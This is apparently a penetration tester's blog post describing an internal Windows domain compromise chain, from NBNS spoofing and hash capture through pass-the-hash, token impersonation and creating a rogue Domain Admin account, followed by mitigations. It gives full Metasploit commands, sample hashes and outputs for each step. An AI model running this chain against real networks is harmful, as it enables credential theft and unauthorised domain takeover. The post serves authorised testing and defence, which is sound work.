Path of Least Resistance

By Tim Medin ·

I (Tim Medin) do a good number of internal penetration tests, and I have found one particular series of techniques that tend to be very quick and efficient at gaining Domain Administrator-level access. Of course, the viability of this depends on the environment and the configurations, and since this technique depends on default configurations, it is usually very effective because defaults aren't usually changed. This article is provided to help our clients proactively assess their own networks and provide mitigation solutions to properly secure their networks.

Step 1 - NBNS Spoof

Walking into the site, I note how many Windows XP workstations I see. If there are a fair number of them, I know this is going to get me creds pretty quickly. See my other post for details on the technique.

In short, when a Windows box can't resolve a name via the hosts file or DNS, it sends a broadcast NetBIOS Name Servers (NBNS) Name Request packet. You would think this would be uncommon, but usually there are a fair number of these packets flying around, and no one (normally) responds to them. What a perfect opportunity for us, the attacker.

This broadcast packet is seen by every device on the same broadcast domain, and any of these devices can respond too. The auxiliary/spoof/nbns/nbns_response Metasploit module will reply to the victim with a poisoned entry.

msf > use auxiliary/spoof/nbns/nbns_response

msf auxiliary(nbns_response) > show options

Module options (auxiliary/spoof/nbns/nbns_response):

Name Current Setting Required Description
-------------- ------------------- -------------- ------------------
INTERFACE   no The name of the interface
REGEX .* yes Regex applied to the NB N...
SPOOFIP 127.0.0.1 yes IP address with which to ...
TIMEOUT 500 yes The number of seconds to ...

msf auxiliary(nbns_response) > set INTERFACE eth0

INTERFACE => eth0

msf auxiliary(nbns_response) > set SPOOFIP 10.10.10.10

SPOOFIP => 10.10.10.10

msf auxiliary(nbns_response) > run

The requesting device was trying to look up a name for some reason, usually because it wants to connect to one of its services, and usually those services are either HTTP or SMB. Additional Metasploit modules are used to request authentication (yummy hashes!) on port 80 (auxiliary/server/capture/http_ntlm) and 445 (auxiliary/server/capture/smb).

The only option that needs to be set on the SMB module is the path to store the John the Ripper file that will contain the hashes.

msf > use auxiliary/server/capture/smb

msf auxiliary(smb) > show options

Module options (auxiliary/server/capture/smb):

Name Current Setting Required Description
-------------- ------------------- -------------- ------------------
CAINPWFILE   no The local filename to sto...
CHALLENGE 1122334455667788 yes The 8 byte challenge
JOHNPWFILE   no The prefix to the local ...
SRVHOST 0.0.0.0 yes The local host to listen ...
SRVPORT 445 yes The local port to listen on.
SSL false no Negotiate SSL for incomin...
SSLCert   no Path to a custom SSL cert...
SSLVersion SSL3 no Specify the version of SS...

msf auxiliary(smb) > set JOHNPWFILE /tmp/john_smb

JOHNPWFILE => /tmp/john_smb

msf auxiliary(smb) > run

The HTTP module needs a few more options set.

msf auxiliary(smb) > use auxiliary/server/capture/http_ntlm

msf auxiliary(http_ntlm) > show options

Module options (auxiliary/server/capture/http_ntlm):

Name Current Setting Required Description
-------------- ------------------- -------------- ------------------
CAINPWFILE   no The local filename to sto...
CHALLENGE 1122334455667788 yes The 8 byte challenge
JOHNPWFILE   no The prefix to the local f...
SRVHOST 0.0.0.0 yes The local host to listen ...
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incomin...
SSLCert   no Path to a custom SSL cert...
SSLVersion SSL3 no Specify the version of SS...
URIPATH   no The URI to use for this e...

msf auxiliary(smb) > set JOHNPWFILE /tmp/john_http

JOHNPWFILE => /tmp/john_http

msf auxiliary(smb) > set SRVPORT 80

SRVPORT => 80

msf auxiliary(smb) > set URIPATH /

URIPATH => / msf auxiliary(smb) > run

These settings set the location for the JtR formatted hashes file, the server port and the URI to respond to. Now we have the listeners setup, and in a while we should have some hashes to use in the next step.

Step 2 - Crack the Hashes

The hashes we received in the above step are usually dependent on the OS sending the hashes. The default setting on XP is to include NetLM hashes, while Windows 7 will not set the NetLM hashes. The NetLM hashes can be quickly cracked using rainbow tables, whereas the NetNTLM hashes don’t suffer from the same cryptographic weaknesses and require a more intensive, and slower, approach to crack the passwords.

The NetLM hashes received above can't be passed via pass-the-hash because they have an additional challenge (11122334455667788) added to the hash so it isn't clean. This challenge is sent by the server and is designed to prevent reply attacks, since the server should send a new, random challenge each time. In this case, we are the server so we use a static challenge to crack the passwords via rainbow tables.

With NetLM, the first seven characters are quickly cracked via hash tables, and the second half via a perl script that comes with John the Ripper and the latest Jumbo pack. Details of this procedure are also found in my other post.

Step 3 - Use the Creds Against Source

The box that sent the hashes obviously allows those credentials to have some access on the device. Many times the exploit/windows/smb/psexec Metasploit module will provide us access to the system. Note, in some cases the user whose credentials you have compromised may not have access to the $ADMIN share or it may not exist, so changing the share option to C$ or something similar can make this slightly more effective. Using the Meterpreter payload with the exploit usually yields a nice Meterpreter shell. If you don't have SYSTEM-level access, you will need to gain this to continue, but if this step works at all, it will, in my experience, quickly lead to SYSTEM-level access on the box. This level of access is necessary for step 4b (not 4a).

Once we have the necessary access we need to do two things:

Step 4a - List the Domain Administrators

After you have the Meterpreter shell, drop into a CMD.EXE shell via the aptly named shell command. From here get the list of the sensitive accounts (usually Domain Admins).

C:\> net group "Domain Admins" /domain

Group Name Domain Admins
Comment Designated administrators of the domain
Members  
---------------------------------------------------------------------
Administrator AliceAdmin
AdamInistrator  
The command completed successfully.

These are the accounts we are going to look for later.

Step 4b - Dump the Local Account Hashes

In almost every case, the local administrator account is reused throughout the environment; however, the reuse may not extend across different classes of machines (laptop local administrator password may be different than the server administrator local password). That's OK, since we'll get there soon enough. The proper method for dumping hashes has changed recently, so make sure you run smart_hashdump and not just hashdump (of course, this may change again soon enough).

meterpreter > run post/windows/gather/smart_hashdump GETSYSTEM=FALSE

[*] Running module against WinXP

[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

...

We don't need to crack the password, since we can use the pass-the-hash functionality in Metasploit as you will see in the next step.

Step 5 - Find the Admins

There are many ways to achieve this step, but this is my preferred method because it does threading. Tim Tomes recently wrote a blog post on the PaulDotCom site to do this with just the built-in Windows CMD.EXE shell.

To set this up, we first use the spool option so we can capture the output of the next command.

msf > spool /tmp/enumdomainusers.txt

I use the auxiliary/scanner/smb/smb_enumusers_domain module. I can give it a number of hosts across a wide range of networks. The SMBUser option is set to Administrator, since we are exploiting the reuse of the local administrator's password. The SMBPass options is set to the hash of the local administrator, like this:

msf > use auxiliary/scanner/smb/smb_enumusers_domain

msf auxiliary(smb_enumusers_domain) > show options

Module options (auxiliary/scanner/smb/smb_enumusers_domain):

Name Current Setting Required Description
----------------- -------------- ---------- -------------
RHOSTS   yes The target address range or ...
SMBDomain WORKGROUP no The Windows domain to use fo...
SMBPass   no The password for the specifi...
SMBUser   no The username to authenticate as
THREADS 1 yes The number of concurrent threads

msf auxiliary(smb_enumusers_domain) > set smbuser Administrator

smbuser => Administrator

msf auxiliary(smb_enumusers_domain) > set smbpass

aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

smbpass => aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

msf auxiliary(smb_enumusers_domain) > set rhosts 10.10.10.0/24

rhosts => 10.10.10.0/24

msf auxiliary(smb_enumusers_domain) > set threads 8

threads => 8

msf auxiliary(smb_enumusers_domain) > run

After running the command, we get output similar to this:

The connection was refused by the remote host (10.10.10.1:139).

The connection was refused by the remote host (10.10.10.1:445).

The connection timed out (10.10.10.2:139).

The connection timed out (10.10.10.2:445).

The connection timed out (10.10.10.3:445).

Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)

[*] 10.10.10.4 : MYDOM\SERVER1$, MYDOM\jdoe

[*] 10.10.10.5 : MYDOM\SERVER2$, MYDOM\adaministrator

...

Now turn off spool so we don't clutter our output. We can also search the output for the user we want.

msf > spool off

Now, we have a juicy target, the box at 10.10.10.5! If we didn't want to keep an eye on the progress, we could just grep through the results to find the user we would like. And since the results are saved in our file, we can search them as much as we want without generating additional traffic.

Step 6 - Compromise the Admin's Box and Account

Use the shared local administrator credentials to access the device similar to what we did in Step 3. Within Meterpreter, we then load incognito so we can hijack his tokens and have Domain Administrative access on the domain.

meterpreter > load incognito

meterpreter > list_tokens -u

Delegation Tokens Available

========================================

NT AUTHORITY\LOCAL SERVICE

NT AUTHORITY\NETWORK SERVICE

NT AUTHORITY\SYSTEM

Impersonation Tokens Available

========================================

NT AUTHORITY\ANONYMOUS LOGON

MYDOM\adaministrator

meterpreter > impersonate_token MYDOM\\adaministrator

meterpreter > getuid

Server username: MYDOM\adaministrator

meterpreter > shell

Process 2936 created.

Channel 6 created.

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\> whoami

mydom\adaministrator

C:\> net user timmedin /add /domain

The request will be processed at the primary domain controller for domain MYDOM.

The command completed successfully.

C:\> net group "Domain Admins" timmedin /add /domain

The request will be processed at the primary domain controller for domain MYDOM.

The command completed successfully.

Step 7 - Pillage

Getting Domain Administrator level access is not the end, but rather it is the beginning of a different portion of the test. Executives don't know what a Domain is, nor do they know what a Domain Administrator is. Go find some cool information to demonstrate what is at risk here. This step requires a book to fully describe and is often overlooked because some testers stop at Step 6 because they believe that is the end goal. The bad guys don't stop there, so why should we when acting as bad guys?

Step 8 - Documentation

Frigging reports.

Mitigations

After using this attack countless times, I get a little tired of seeing it. Our goal is to help organizations increase the security posture. So, here are a few ways to mitigate the attack:

Weak Password Storage.

LM passwords are incredibly easy to crack. Disabling the use and storage of the credentials reduces the feasibility of cracking the credentials obtained via the NBNS Spoof. Even if it is a crappy password, it usually takes more time to crack the passwords, and any increase of the effort required is a good thing.

Local Administrative Password Reuse.

One approach is to resolve the issue is to use a unique password for each device. Frankly, I think this is an administrative nightmare. You can keep the same password but deny the account access via the network. This means that even if you obtain the credentials, you can only use them locally. Realistically, this is the only time they should be needed. A unique user domain account should be used to access the device to administer it remotely. If the box is messed up so badly that the domain account won't work, it will usually require tech support personnel to put “hands on the keyboard” anyhow.

There are some fancy ways to reduce the risk associated in the other steps we took, but these two mitigations are simply the most effective ways to break this chain from 0 to DA before a second cup of coffee.